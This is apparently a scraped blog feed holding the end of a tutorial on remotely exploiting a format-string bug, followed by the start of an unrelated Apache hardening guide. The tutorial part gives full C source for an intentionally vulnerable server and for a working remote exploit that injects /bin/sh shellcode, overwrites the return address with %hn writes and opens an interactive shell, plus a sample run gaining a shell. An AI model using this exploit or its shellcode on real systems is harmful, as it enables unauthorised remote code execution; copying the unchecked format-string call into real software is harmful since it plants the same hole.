&lt;br /&gt;So, since we now have all the requested parameters, the exploitation&lt;br /&gt;in itself is not very difficult. We just have to replace the return&lt;br /&gt;address of the vulnerable function (addr_ret) with the one of the&lt;br /&gt;shellcode (addr_shellcode). The function fmtbuilder is taken from [5]&lt;br /&gt;and build the format string sent to the server:&lt;br /&gt;&lt;br /&gt;      build_hn(buf, addr_ret, addr_shellcode, offset, 0);&lt;br /&gt;      write(sd, buf, strlen(buf));&lt;br /&gt;&lt;br /&gt;Once the replacement is performed in the remote stack, we just have to&lt;br /&gt;return from the vul() function. We then send the "quit" command&lt;br /&gt;specially intended to that ;-)&lt;br /&gt;&lt;br /&gt;      strcpy(buf, "quit");&lt;br /&gt;      write(sd, buf, strlen(buf));&lt;br /&gt;&lt;br /&gt;Lastly, the function interact() plays with the file descriptors to&lt;br /&gt;allow us to use the gained shell.&lt;br /&gt;&lt;br /&gt;In the next example, the exploit is started from bosley to charly :&lt;br /&gt;&lt;br /&gt;$ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01&lt;br /&gt;Using IP 192.168.1.1&lt;br /&gt;Connected to 192.168.1.1&lt;br /&gt;login sent [toto] (4)&lt;br /&gt;passwd (shellcode) sent (10)&lt;br /&gt;[Found offset = 6]&lt;br /&gt;[buffer addr is: 0xbfffede0 (12) ]&lt;br /&gt;buf = (12)&lt;br /&gt;e0 ed ff bf e0 ed ff bf 25 36 24 73 &lt;br /&gt;&lt;br /&gt;[shell addr is: 0xbffff5f0 (60) ]&lt;br /&gt;buf = (60)&lt;br /&gt;e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08 &lt;br /&gt;31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 &lt;br /&gt;31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 &lt;br /&gt;[ret addr is: 0xbffff5ec (60) ]&lt;br /&gt;Building format string ...&lt;br /&gt;Sending the quit ...&lt;br /&gt;bye bye ...&lt;br /&gt;Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown&lt;br /&gt;uid=500(raynal) gid=100(users)&lt;br /&gt;exit&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[  4. Conclusion  ]--&lt;br /&gt;&lt;br /&gt;Less format bugs are discovered ... fortunately. As we just saw, the&lt;br /&gt;automation is not very difficult. The library fmtbuilmder (see the&lt;br /&gt;bibliography) also provides the necessary tools for that.&lt;br /&gt;&lt;br /&gt;Here, the exploit starts its reading of the remote memory to an&lt;br /&gt;arbitrary value. But if it is too low, the server crashes. The exploit&lt;br /&gt;can be modified to explore the stack from the top to the bottom... but&lt;br /&gt;the strategies used to identify some values have then to be slightly&lt;br /&gt;adapted. The difficulty seems a bit greater.&lt;br /&gt;&lt;br /&gt;The reading then starts from the top of the stack 0xc0000000-4. One&lt;br /&gt;have to change the value of the variable addr_stack. Moreover, the&lt;br /&gt;line read_at+=(len-4+1); have to be replaced with read_at-=4; In this&lt;br /&gt;way, the argument -a is useless.&lt;br /&gt;&lt;br /&gt;The disadvantage of this solution is that the return address is below&lt;br /&gt;the input buffer. But all that is below this buffer comes from&lt;br /&gt;function that are no more in the stack: these data are written in a&lt;br /&gt;free region of the stack, so they can be modified at any time by the&lt;br /&gt;process. So, the search of the return address has to be change&lt;br /&gt;(several can be found above the vulnerable buffer ... but we can't&lt;br /&gt;control whether they will be really used).&lt;br /&gt;&lt;br /&gt;--[  Greetings  ]--&lt;br /&gt;&lt;br /&gt;Denis Ducamp and Renaud Deraison for their comments/fixes.&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[  Appendix 1 : the server side fmtd  ]--&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;stdarg.h&gt;&lt;br /&gt;#include &lt;syslog.h&gt;&lt;br /&gt;&lt;br /&gt;void respond(char *fmt,...);&lt;br /&gt;&lt;br /&gt;int vul(void)&lt;br /&gt;{&lt;br /&gt;  char tmp[1024];&lt;br /&gt;  char buf[1024];&lt;br /&gt;  int len = 0;&lt;br /&gt;&lt;br /&gt;  syslog(LOG_ERR, "vul() -&gt; tmp = 0x%x buf = 0x%x\n", tmp, buf); &lt;br /&gt;&lt;br /&gt;  while(1) {&lt;br /&gt;&lt;br /&gt;    memset(buf, 0, sizeof(buf));&lt;br /&gt;    memset(tmp, 0, sizeof(tmp));&lt;br /&gt;    if ( (len = read(0, buf, sizeof(buf))) &lt;= 0 ) {&lt;br /&gt;      syslog(LOG_ERR, "vul() -&gt; error while reading input buf [%s] (%d)",&lt;br /&gt;	     buf, len);&lt;br /&gt;      exit(-1);&lt;br /&gt;    } /*&lt;br /&gt;	else&lt;br /&gt;	syslog(LOG_INFO, "vul() -&gt; read %d bytes", len);&lt;br /&gt;      */&lt;br /&gt;    if (!strncmp(buf, "quit", 4)) {&lt;br /&gt;      respond("bye bye ...\n");&lt;br /&gt;      return 0;&lt;br /&gt;    }&lt;br /&gt;    snprintf(tmp, sizeof(tmp)-1, buf);&lt;br /&gt;    respond("%s", tmp);&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void respond(char *fmt,...)&lt;br /&gt;{&lt;br /&gt;  va_list va;&lt;br /&gt;  char buf[1024];&lt;br /&gt;  int len = 0;&lt;br /&gt;&lt;br /&gt;  va_start(va,fmt);&lt;br /&gt;  vsnprintf(buf,sizeof(buf),fmt,va);&lt;br /&gt;  va_end(va);&lt;br /&gt;  len = write(STDOUT_FILENO,buf,strlen(buf));&lt;br /&gt;  /* syslog(LOG_INFO, "respond() -&gt; write %d bytes", len); */&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  struct sockaddr_in sin;&lt;br /&gt;  int i,len = sizeof(struct sockaddr_in);&lt;br /&gt;  char login[16];&lt;br /&gt;  char passwd[1024];&lt;br /&gt;  openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0);&lt;br /&gt;&lt;br /&gt;  /* get login */&lt;br /&gt;  memset(login, 0, sizeof(login));&lt;br /&gt;  respond("login: ");&lt;br /&gt;  if ( (len = read(0, login, sizeof(login))) &lt;= 0 ) {&lt;br /&gt;    syslog(LOG_ERR, "login -&gt; error while reading login [%s] (%d)",&lt;br /&gt;	   login, len);&lt;br /&gt;    exit(-1);&lt;br /&gt;  } else&lt;br /&gt;    syslog(LOG_INFO, "login -&gt; read login [%s] (%d) bytes", login, len);&lt;br /&gt;&lt;br /&gt;  /* get passwd */&lt;br /&gt;  memset(passwd, 0, sizeof(passwd));&lt;br /&gt;  respond("password: ");&lt;br /&gt;  if ( (len = read(0, passwd, sizeof(passwd))) &lt;= 0 ) {&lt;br /&gt;    syslog(LOG_ERR, "passwd -&gt; error while reading passwd [%s] (%d)",&lt;br /&gt;	   passwd, len);&lt;br /&gt;    exit(-1);&lt;br /&gt;  } else&lt;br /&gt;    syslog(LOG_INFO, "passwd -&gt; read passwd [%x] (%d) bytes", passwd, len);&lt;br /&gt;&lt;br /&gt;  /* let's run ... */&lt;br /&gt;  vul();&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[  Appendix 2 : the exploit side expl-fmtd  ]--&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;getopt.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char verbose = 0, debug = 0;&lt;br /&gt;&lt;br /&gt;#define OCT( b0, b1, b2, b3, addr, str ) { \&lt;br /&gt;		b0 = (addr &gt;&gt; 24) &amp; 0xff; \&lt;br /&gt;        	b1 = (addr &gt;&gt; 16) &amp; 0xff; \&lt;br /&gt;        	b2 = (addr &gt;&gt;  8) &amp; 0xff; \&lt;br /&gt;        	b3 = (addr      ) &amp; 0xff; \&lt;br /&gt;                if ( b0 * b1 * b2 * b3 == 0 ) { \&lt;br /&gt;                	printf( "\n%s contains a NUL byte. Leaving...\n", str ); \&lt;br /&gt;                  	exit( EXIT_FAILURE ); \&lt;br /&gt;                } \&lt;br /&gt;	}&lt;br /&gt;#define MAX_FMT_LENGTH 	128 &lt;br /&gt;#define ADD		0x100	&lt;br /&gt;#define FOUR            sizeof( size_t ) * 4&lt;br /&gt;#define TWO             sizeof( size_t ) * 2&lt;br /&gt;#define BANNER "uname -a ; id"&lt;br /&gt;#define MAX_OFFSET 255&lt;br /&gt;&lt;br /&gt;int interact(int sock)&lt;br /&gt;{&lt;br /&gt;  fd_set fds;&lt;br /&gt;  ssize_t ssize;&lt;br /&gt;  char buffer[1024];&lt;br /&gt;&lt;br /&gt;  write(sock, BANNER"\n", sizeof(BANNER));&lt;br /&gt;  while (1) {&lt;br /&gt;    FD_ZERO(&amp;fds);&lt;br /&gt;    FD_SET(STDIN_FILENO, &amp;fds);&lt;br /&gt;    FD_SET(sock, &amp;fds);&lt;br /&gt;    select(sock + 1, &amp;fds, NULL, NULL, NULL);&lt;br /&gt;&lt;br /&gt;    if (FD_ISSET(STDIN_FILENO, &amp;fds)) {&lt;br /&gt;      ssize = read(STDIN_FILENO, buffer, sizeof(buffer));&lt;br /&gt;      if (ssize &lt; 0) {&lt;br /&gt;	return(-1);&lt;br /&gt;      }&lt;br /&gt;      if (ssize == 0) {&lt;br /&gt;	return(0);&lt;br /&gt;      }&lt;br /&gt;      write(sock, buffer, ssize);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if (FD_ISSET(sock, &amp;fds)) {&lt;br /&gt;      ssize = read(sock, buffer, sizeof(buffer));&lt;br /&gt;      if (ssize &lt; 0) {&lt;br /&gt;	return(-1);&lt;br /&gt;      }&lt;br /&gt;      if (ssize == 0) {&lt;br /&gt;	return(0);&lt;br /&gt;      }&lt;br /&gt;      write(STDOUT_FILENO, buffer, ssize);&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  return(-1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;u_long resolve(char *host)&lt;br /&gt;{&lt;br /&gt;  struct hostent *he;&lt;br /&gt;  u_long ret;&lt;br /&gt;&lt;br /&gt;  if(!(he = gethostbyname(host)))&lt;br /&gt;    {&lt;br /&gt;      herror("gethostbyname()");&lt;br /&gt;      exit(-1);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  memcpy(&amp;ret, he-&gt;h_addr, sizeof(he-&gt;h_addr));&lt;br /&gt;  return ret;&lt;br /&gt;}&lt;br /&gt;int &lt;br /&gt;build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base)&lt;br /&gt;{&lt;br /&gt;  unsigned char b0, b1, b2, b3;&lt;br /&gt;  unsigned int high, low;&lt;br /&gt;  int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;&lt;br /&gt;  int sz;&lt;br /&gt;&lt;br /&gt;  /* &lt;locaddr&gt; : where to overwrite */&lt;br /&gt;  OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");&lt;br /&gt;  sz = snprintf(buf, TWO + 1,     /* 8 char to have the 2 addresses */&lt;br /&gt;	         "%c%c%c%c"       /* + 1 for the ending \0 */&lt;br /&gt;	         "%c%c%c%c",&lt;br /&gt;	         b3, b2, b1, b0,&lt;br /&gt;	         b3 + 2, b2, b1, b0);&lt;br /&gt;  &lt;br /&gt;  /* where is our shellcode ? */&lt;br /&gt;  OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");&lt;br /&gt;  high = (retaddr &amp; 0xffff0000) &gt;&gt; 16; &lt;br /&gt;  low = retaddr &amp; 0x0000ffff;      &lt;br /&gt;&lt;br /&gt;  return snprintf(buf + sz, MAX_FMT_LENGTH, &lt;br /&gt;		   "%%.%hdx%%%d$n%%.%hdx%%%d$hn", &lt;br /&gt;		   low - TWO + start - base, &lt;br /&gt;		   offset, &lt;br /&gt;		   high - low + start, &lt;br /&gt;		   offset + 1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void get_addr_as_char(u_int addr, char *buf) {&lt;br /&gt;&lt;br /&gt;  *(u_int*)buf = addr;&lt;br /&gt;  if (!buf[0]) buf[0]++;&lt;br /&gt;  if (!buf[1]) buf[1]++;&lt;br /&gt;  if (!buf[2]) buf[2]++;&lt;br /&gt;  if (!buf[3]) buf[3]++;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int get_offset(int sock) {&lt;br /&gt;&lt;br /&gt;  int i, offset = -1, len;&lt;br /&gt;  char fmt[128], buf[128];&lt;br /&gt;&lt;br /&gt;  for (i = 1; i&lt;MAX_OFFSET &amp;&amp; offset == -1; i++) {&lt;br /&gt;&lt;br /&gt;    snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);&lt;br /&gt;    write(sock, fmt, strlen(fmt));&lt;br /&gt;    memset(buf, 0, sizeof(buf));&lt;br /&gt;    sleep(1);&lt;br /&gt;    if ((len = read(sock, buf, sizeof(buf))) &lt; 0) {&lt;br /&gt;      fprintf(stderr, "Error while looking for the offset (%d)\n", len);&lt;br /&gt;      close(sock);&lt;br /&gt;      exit(EXIT_FAILURE);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if (debug) &lt;br /&gt;      fprintf(stderr, "testing offset = %d fmt =  [%s] buf = [%s] len = %d\n", &lt;br /&gt;	      i, fmt, buf, len);&lt;br /&gt;&lt;br /&gt;    if (!strcmp(buf, "AAAA41414141"))&lt;br /&gt;      offset = i;&lt;br /&gt;  }&lt;br /&gt;  return offset;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char *shellcode =&lt;br /&gt;  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"&lt;br /&gt;  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"&lt;br /&gt;  "\x80\xe8\xdc\xff\xff\xff/bin/sh";&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  char *ip = "127.0.0.1", *ptr;&lt;br /&gt;  struct sockaddr_in sck;&lt;br /&gt;  u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */&lt;br /&gt;  u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;&lt;br /&gt;  char buf[1024], fmt[128], c;&lt;br /&gt;  int port = 12345, offset = -1;&lt;br /&gt;  int sd, len, i;&lt;br /&gt;&lt;br /&gt;  while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {&lt;br /&gt;    switch (c) {&lt;br /&gt;      case 'i':&lt;br /&gt;	ip = optarg;&lt;br /&gt;	break;&lt;br /&gt;	  &lt;br /&gt;      case 'p':&lt;br /&gt;	port = atoi(optarg);&lt;br /&gt;	break;&lt;br /&gt;&lt;br /&gt;      case 'a':&lt;br /&gt;	addr_stack = strtoul(optarg, NULL, 16);&lt;br /&gt;	break;&lt;br /&gt;	&lt;br /&gt;      case 'o':&lt;br /&gt;	offset = atoi(optarg);&lt;br /&gt;	break;&lt;br /&gt;&lt;br /&gt;      case 'v':&lt;br /&gt;	verbose = 1;&lt;br /&gt;	break;&lt;br /&gt;&lt;br /&gt;      case 'd':&lt;br /&gt;	debug = 1;&lt;br /&gt;	break;&lt;br /&gt;&lt;br /&gt;      default:&lt;br /&gt;	fprintf(stderr, "Unknwon option %c (%d)\n", c, c);&lt;br /&gt;	exit (EXIT_FAILURE);&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /* init the sockaddr_in */&lt;br /&gt;  fprintf(stderr, "Using IP %s\n", ip);&lt;br /&gt;  sck.sin_family = PF_INET;&lt;br /&gt;  sck.sin_addr.s_addr = resolve(ip);&lt;br /&gt;  sck.sin_port = htons (port);&lt;br /&gt;&lt;br /&gt;  /* open the socket */&lt;br /&gt;  if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {&lt;br /&gt;    perror ("socket()");&lt;br /&gt;    exit (EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  /* connect to the remote server */&lt;br /&gt;  if (connect (sd, (struct sockaddr *) &amp;sck, sizeof (sck)) &lt; 0) {&lt;br /&gt;    perror ("Connect() ");&lt;br /&gt;    exit (EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  fprintf (stderr, "Connected to %s\n", ip);&lt;br /&gt;  if (debug) sleep(10);&lt;br /&gt;&lt;br /&gt;  /* send login */&lt;br /&gt;  memset (buf, 0x0, sizeof(buf));&lt;br /&gt;  len = read(sd, buf, sizeof(buf));&lt;br /&gt;  if (strncmp(buf, "login", 5)) {&lt;br /&gt;    fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);&lt;br /&gt;    close(sd);&lt;br /&gt;    exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  strcpy(buf, "toto");&lt;br /&gt;  len = write (sd, buf, strlen(buf));&lt;br /&gt;  if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);&lt;br /&gt;  sleep(1);&lt;br /&gt;&lt;br /&gt;  /* passwd: shellcode in the buffer and in the remote stack */&lt;br /&gt;  len = read(sd, buf, sizeof(buf));&lt;br /&gt;  if (strncmp(buf, "password", 8)) {&lt;br /&gt;    fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);&lt;br /&gt;    close(sd);&lt;br /&gt;    exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  write (sd, shellcode, strlen(shellcode));&lt;br /&gt;  if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)\n", len);&lt;br /&gt;  sleep(1);&lt;br /&gt;&lt;br /&gt;  /* find offset */&lt;br /&gt;  if (offset == -1) {&lt;br /&gt;    if ((offset = get_offset(sd)) == -1) {&lt;br /&gt;      fprintf(stderr, "Error: can't find offset\n");&lt;br /&gt;      fprintf(stderr, "Please, use the -o arg to specify it.\n");&lt;br /&gt;      close(sd);&lt;br /&gt;      exit(EXIT_FAILURE);&lt;br /&gt;    }&lt;br /&gt;    if (verbose) fprintf(stderr, "[Found offset = %d]\n", offset);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /* look for the address of the shellcode in the remote stack */&lt;br /&gt;  memset (fmt, 0x0, sizeof(fmt));&lt;br /&gt;  read_at = addr_stack;&lt;br /&gt;  get_addr_as_char(read_at, fmt);&lt;br /&gt;  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);&lt;br /&gt;  write(sd, fmt, strlen(fmt));&lt;br /&gt;  sleep(1);&lt;br /&gt;&lt;br /&gt;  while((len = read(sd, buf, sizeof(buf))) &gt; 0 &amp;&amp; &lt;br /&gt;	(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {&lt;br /&gt;&lt;br /&gt;    if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);&lt;br /&gt;&lt;br /&gt;    /* the shellcode */&lt;br /&gt;    if ((ptr = strstr(buf, shellcode))) {&lt;br /&gt;      addr_shellcode = read_at + (ptr-buf) - 4;&lt;br /&gt;      fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);&lt;br /&gt;      fprintf(stderr, "buf = (%d)\n", len);&lt;br /&gt;      for (i=0; i&lt;len; i++) {&lt;br /&gt;	fprintf(stderr,"%.2x ", (int)(buf[i] &amp; 0xff));&lt;br /&gt;	if (i &amp;&amp; i%20 == 0) fprintf(stderr, "\n");&lt;br /&gt;      }&lt;br /&gt;      fprintf(stderr, "\n");&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /* the input buffer */&lt;br /&gt;    if (addr_buffer == -1 &amp;&amp; (ptr = strstr(buf, fmt))) {&lt;br /&gt;      addr_buffer = read_at + (ptr-buf) - 4;&lt;br /&gt;      fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);&lt;br /&gt;      fprintf(stderr, "buf = (%d)\n", len);&lt;br /&gt;      for (i=0; i&lt;len; i++) {&lt;br /&gt;	fprintf(stderr,"%.2x ", (int)(buf[i] &amp; 0xff));&lt;br /&gt;	if (i &amp;&amp; i%20 == 0) fprintf(stderr, "\n");&lt;br /&gt;      }&lt;br /&gt;      fprintf(stderr, "\n\n");&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /* return address */&lt;br /&gt;    if (addr_buffer != -1) {&lt;br /&gt;      i = 4;&lt;br /&gt;      while (i&lt;len-5 &amp;&amp; addr_ret == -1) {&lt;br /&gt;	if (buf[i] == (char)0xff &amp;&amp; buf[i+1] == (char)0xbf &amp;&amp;&lt;br /&gt;	    buf[i+4] == (char)0x04 &amp;&amp; buf[i+5] == (char)0x08) {&lt;br /&gt;	  addr_ret = read_at + i - 2 + 4 - 4;&lt;br /&gt;	  fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);&lt;br /&gt;	}&lt;br /&gt;	i++;&lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    read_at += (len-4+1);&lt;br /&gt;    if (len == sizeof(buf)) {&lt;br /&gt;      fprintf(stderr, "Warning: this has not been tested !!!\n");&lt;br /&gt;      fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);&lt;br /&gt;      read_at-=strlen(shellcode);&lt;br /&gt;    }&lt;br /&gt;    get_addr_as_char(read_at, fmt);&lt;br /&gt;    write(sd, fmt, strlen(fmt));&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /* send the format string */&lt;br /&gt;  fprintf (stderr, "Building format string ...\n");&lt;br /&gt;  memset(buf, 0, sizeof(buf));&lt;br /&gt;  build_hn(buf, addr_ret, addr_shellcode, offset, 0);&lt;br /&gt;  write(sd, buf, strlen(buf));&lt;br /&gt;  sleep(1);&lt;br /&gt;  read(sd, buf, sizeof(buf));&lt;br /&gt;&lt;br /&gt;  /* call the return while quiting */&lt;br /&gt;  fprintf (stderr, "Sending the quit ...\n");&lt;br /&gt;  strcpy(buf, "quit");&lt;br /&gt;  write(sd, buf, strlen(buf));&lt;br /&gt;  sleep(1);&lt;br /&gt;&lt;br /&gt;  interact(sd);&lt;br /&gt;&lt;br /&gt;  close(sd);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-1538271045130351283?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/1538271045130351283/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/how-to-remotely-and-automatically.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1538271045130351283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1538271045130351283'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/how-to-remotely-and-automatically.html' title='How to remotely and automatically exploit a format bug'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-5140853284096676068</id><published>2008-12-20T03:58:00.000+07:00</published><updated>2008-12-20T03:59:50.976+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Securing Apache: Step-by-Step</title><content type='html'>Functionality&lt;br /&gt;&lt;br /&gt;Before we start securing Apache, we must specify what functionality we expect from the server. Variety of Apache's use makes it difficult to write a universal procedure to secure the server in every case. That's why in this article we'll base on the following functionality: &lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;   *   the Web server will be accessible from the Internet only static HTML pages will be served&lt;br /&gt;   * the server will support name-based virtual hosting mechanism&lt;br /&gt;   * specified Web pages can be accessible only from selected IP addresses or users (basic authentication)&lt;br /&gt;   * the server will log all the Web requests (including information about Web browsers)&lt;br /&gt;&lt;br /&gt;It is worth emphasizing that the above model doesn't support PHP, JSP, CGI or any other technologies that make it possible to interact with Web services. The use of such technologies may pose a large security threat, so that even a small, inconspicuous script can radically decrease the server's security level. Why? Primarily, ASP/CGI applications may contain security vulnerabilities (e.g. SQL injection, cross-site-scripting). Secondarily, the technology itself can be dangerous (vulnerabilities in PHP, Perl modules etc.). That's why I strongly recommend using such technologies only when an interaction with a Web site is absolutely necessary.&lt;br /&gt;&lt;br /&gt;Security Assumptions&lt;br /&gt;&lt;br /&gt;One of the most important elements of every computer project is the specification of security assumptions. This must be fulfilled before the project is implemented. The security assumptions for our Web server are as follows:&lt;br /&gt;&lt;br /&gt;   * The operating system must be hardened as much as possible, both against local and remote attacks;&lt;br /&gt;   * The server must not offer any network services except HTTP: (80/TCP);&lt;br /&gt;   * Remote access to the server must be controlled by a firewall, which should block all outbound connections, and allow inbound connections only to the 80/TCP port of the Web server;&lt;br /&gt;   * The Apache Web server must be the only service available on the system;&lt;br /&gt;   * Only absolutely necessary Apache modules should be enabled;&lt;br /&gt;   * Any diagnostic Web pages and automatic directory indexing service must be turned off;&lt;br /&gt;   * The server should disclose the least amount of information about itself (security by obscurity);&lt;br /&gt;   * The Apache server must run under a unique UID/GID, not used by any other system process;&lt;br /&gt;   * Apache's processes must have limited access to the file systems (chrooting); and,&lt;br /&gt;   * No shell programs can be present in the Apache's chrooted environment (/bin/sh, /bin/csh etc.).&lt;br /&gt;&lt;br /&gt;Installing the Operating System&lt;br /&gt;&lt;br /&gt;Before installing Apache we must choose an operating system, upon which the server will run. We've got a broad choice here, because Apache can be compiled and installed on almost every operating system. The rest of the article instructs how to secure the Apache Web server on FreeBSD (4.7), however the described methods are possible to apply in case of most UNIX/Linux systems. The only operating system I do not recommend using is MS Windows - mainly because of the limited capabilities of securing the Apache.&lt;br /&gt;&lt;br /&gt;The first step in securing the Web server is hardening the operating system. A discussion of hardening the operating system is beyond the scope of this article. However, there are a lot of documents on the Net describing how to perform that. Readers are encouraged to conduct their own issue on this topic.&lt;br /&gt;&lt;br /&gt;After the system is installed and hardened, we have to add a new group and regular user called "apache" like this (an example from FreeBSD):&lt;br /&gt;&lt;br /&gt;pw groupadd apache&lt;br /&gt;pw useradd apache -c "Apache Server" -d /dev/null -g apache -&lt;br /&gt;s /sbin/nologin&lt;br /&gt;&lt;br /&gt;By default, Apache processes run with privileges of user nobody (except the main process, which runs with root privileges) and GID of group nogroup. This might pose a significant security threat. In case of successful break-in, the intruder can obtain access to all other processes that run under the same UID/GID. Hence, the optimum solution is to run Apache under the UID/GID of a unique regular user/group, dedicated to that software.&lt;br /&gt;&lt;br /&gt;Preparing the Software&lt;br /&gt;&lt;br /&gt;The next step is to download the latest version of the Apache Web server. Some of Apache's options can be enabled only during compilation time, thus it is important to download the source code instead of the binary version.&lt;br /&gt;&lt;br /&gt;After downloading the software, we must unpack it. Then we must decide which modules should remain enabled. A short description of all modules available in the latest version of Apache 1.3.x (1.3.27) can be found at http://httpd.apache.org/docs/mod/.&lt;br /&gt;&lt;br /&gt;Apache's Modules&lt;br /&gt;&lt;br /&gt;The choice of modules is one of the most important steps of securing Apache. We should go by the rule: the less the better. To fulfill the functionality and security assumptions, the following modules must remain enabled:&lt;br /&gt;Module's name  Description&lt;br /&gt;httpd_core  The core Apache features, required in every Apache installation.&lt;br /&gt;mod_access  Provides access control based on client hostname, IP address, or other characteristics of the client request. Because this module is needed to use "order", "allow" and "deny" directives, it should remain enabled.&lt;br /&gt;mod_auth  Required in order to implement user authentication using text files (HTTP Basic Authentication), which was specified in functionality assumptions.&lt;br /&gt;mod_dir  Required to search and serve directory index files: "index.html", "default.htm", etc.&lt;br /&gt;mod_log_config  Required to implement logging of the requests made to the server.&lt;br /&gt;mod_mime  Required to set the character set, content- encoding, handler, content-language, and MIME types of documents.&lt;br /&gt;&lt;br /&gt;All other Apache's modules must be disabled. We can safely turn them off, mainly because we do not need them. By disabling unneeded modules, we can avoid potential break-ins when new security vulnerabilities are found in one of them.&lt;br /&gt;&lt;br /&gt;It is also worth to note that two of Apache's modules can be more dangerous than others: mod_autoindex and mod_info. The first module provides for automatic directory indexing, and is enabled by default. It is very easy to use this module in order to check if Apache runs on a server (e.g. http://server_name/icons/) and to get the content of the Web server's directories, when no index files are found in them. The second module, mod_info, should never be accessible from the Internet, mainly because it reveals the Apache server's configuration.&lt;br /&gt;&lt;br /&gt;The next question is how to compile modules. The static method seems to be a better choice. If new 